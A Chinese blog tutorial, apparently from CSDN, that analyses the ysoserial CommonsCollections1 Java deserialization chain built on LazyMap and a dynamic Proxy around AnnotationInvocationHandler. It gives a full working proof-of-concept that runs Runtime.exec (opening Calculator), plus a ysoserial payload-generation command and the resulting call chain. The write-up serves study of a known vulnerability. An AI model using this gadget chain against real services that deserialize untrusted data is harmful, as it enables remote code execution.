ysoserial Common-Collections1利用链解析(三)

(二)中所示代码和ysoserial中有所不同,ysoserial中的CommonCollections1利用链中用的是LazyMap而不是TransformedMap。

TransformedMap可以参考以下链接

长亭科技: Lib之过?Java反序列化漏洞通用利用分析

LazyMap和TransformedMap类似,都来自Common-Collections库,并继承了 AbstractMapDecorator。LazyMap的漏洞触发点和TransformedMap唯一差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform。LazyMap的作用是懒加载,在get找不到值的时候,会调用 factory.transform 方法去获取一个值。

相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂了一些,原因在 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法中并没有直接调用到 Map 的 get 方法。所以 ysoserial 找到了另一条路,AnnotationInvocationHandler 类的 invoke 方法调用到get

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4  = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if(var4.equals("equals") && var5.length == 1 && var5[0] == Object.class){
        ...    
    } else if (var5.length != 0) {
        throw new AssertionError("Too many parameters for an annotation method");
    } else {
        byte var7 = -1;
        switch(var4.hashCode()) {
        ...
        }
        switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.gt(var4);
            ...
        }
    }
}

怎么调用 AnnotationInvocationHandler#invoke呢?ysoserial的作者想到了利用 Java的对象代理。

0x02 对象代理

Java作为一门静态语言,如果想要劫持一个对象内部的方法调用,实现类似PHP的魔术方法__call,需要用到 java.reflect.Proxy

__call: PHP: Overloading - Manual

Map proxyMap = (Map) Proxy.newProxyInstance(
            Map.class.getClassLoader(), 
            new Class[] {Map.class}, 
            handler
);

第一个参数: ClassLoader,用默认的即可

第二个参数: 需要代理的对象集合

第三个参数: 是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑

例子如下

package ExampleInvocationHandler;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.HashMap;

class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;

    public ExampleInvocationHandler(Map map) {
        this.map = map;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if (method.getName().compareTo("get") == 0) {
            System.out.println("Hook method: " + method.getName());
            return "Hacked Object";
        }

        return method.invoke(this.map, args);
    }
}

public class Main {
    public static void main(String[] args) throws Exception {

        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

        proxyMap.put("hello", "world");
        String result = (String) proxyMap.get("hello");
        System.out.println(result); // output: Hacked Object
        proxyMap.put("key", "value");
        result = (String) proxyMap.get("key");
        System.out.println(result); // output: Hacked Object
        System.out.println(proxyMap.size());

    }
}

ExampleInvocationHandler类实现了invoke方法,作用是在监控到调用的方法名是get的时候,返回一个特殊字符串 Hacked Object。invoke即调用方法,劫持了HashMap中的get方法,无论从HashMap中get什么key,都只会返回 Hacked Object,而调用HashMap其他的方法却不受影响。

上述方法 sun.reflect.annotation.AnnotationInvocationHandler,如果将这个对象用 Proxy 进行代理,那么在 readObject 的时候,只用调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发 LazyMap#get。

0x03 利用LazyMap构造利用链

对(二)中的POC做修改,使用LazyMap替换TransformedMap

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

而后对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行Proxy

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler 
    = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(
            Map.class.getClassLoader(), 
            new Class[] {Map.class},
            handler
);

代理后的对象叫做 proxyMap,但我们不能直接进行序列化,因为我们入口点时 sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以还需要再用 AnnotationInvocationHandler 对这个 proxyMap 进行包裹。

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

综上

package commoncollection1_final;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class CommonCollection1Final {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] {String.class}, new String[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oss     = new ObjectOutputStream(barr);
        oss.writeObject(handler);
        oss.close();

        // 反序列化
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

0x04 LazyMap与TransformedMap的对比

LazyMap也无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题。

LazyMap的漏洞触发在get和invoke中,完全没有setValue什么事,也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject中有没有setValue没任何关系,关键还是和逻辑有关。

0x05 实验

java -jar ysoserial.jar CommonsCollections1 /System/Applications/Calculator.app/Contents/MacOS/Calculator > CommonsCollections1.bin

可以得到利用链如下

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

0x05 代理模式

在代理模式中,一个类代表另一个类的功能,代理模式是一种结构模式,在代理模式中,我们创建具有原始接口的对象,以将其功能暴露给外部世界。

interface Printer {
    void print();
}

class ConsolePrinter implements Printer {
    private String fileName;
    
    public ConsolePrinter(String fileName) {
        this.fileName = fileName;
    }

    @Override
    public void print() {
        System.out.println("Displaying " + fileName);
    }
}

class ProxyPrinter implements Printer{
    private ConsolePrinter consolePrinter;
    private String fileName;
    
    public ProxyPrinter(String fileName) {
        this.fileName = fileName;
    }

    @Override
    public void print() {
        if(consolePrinter == null) {
            consolePrinter = new ConsolePrinter(fileName);
        }
        consolePrinter.print();
    }
}

public class Main {
    public static void main(String[] args) {
        Printer image = new ProxyPrinter("test");
        image.print();
    }
}

0x06 参考

https://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值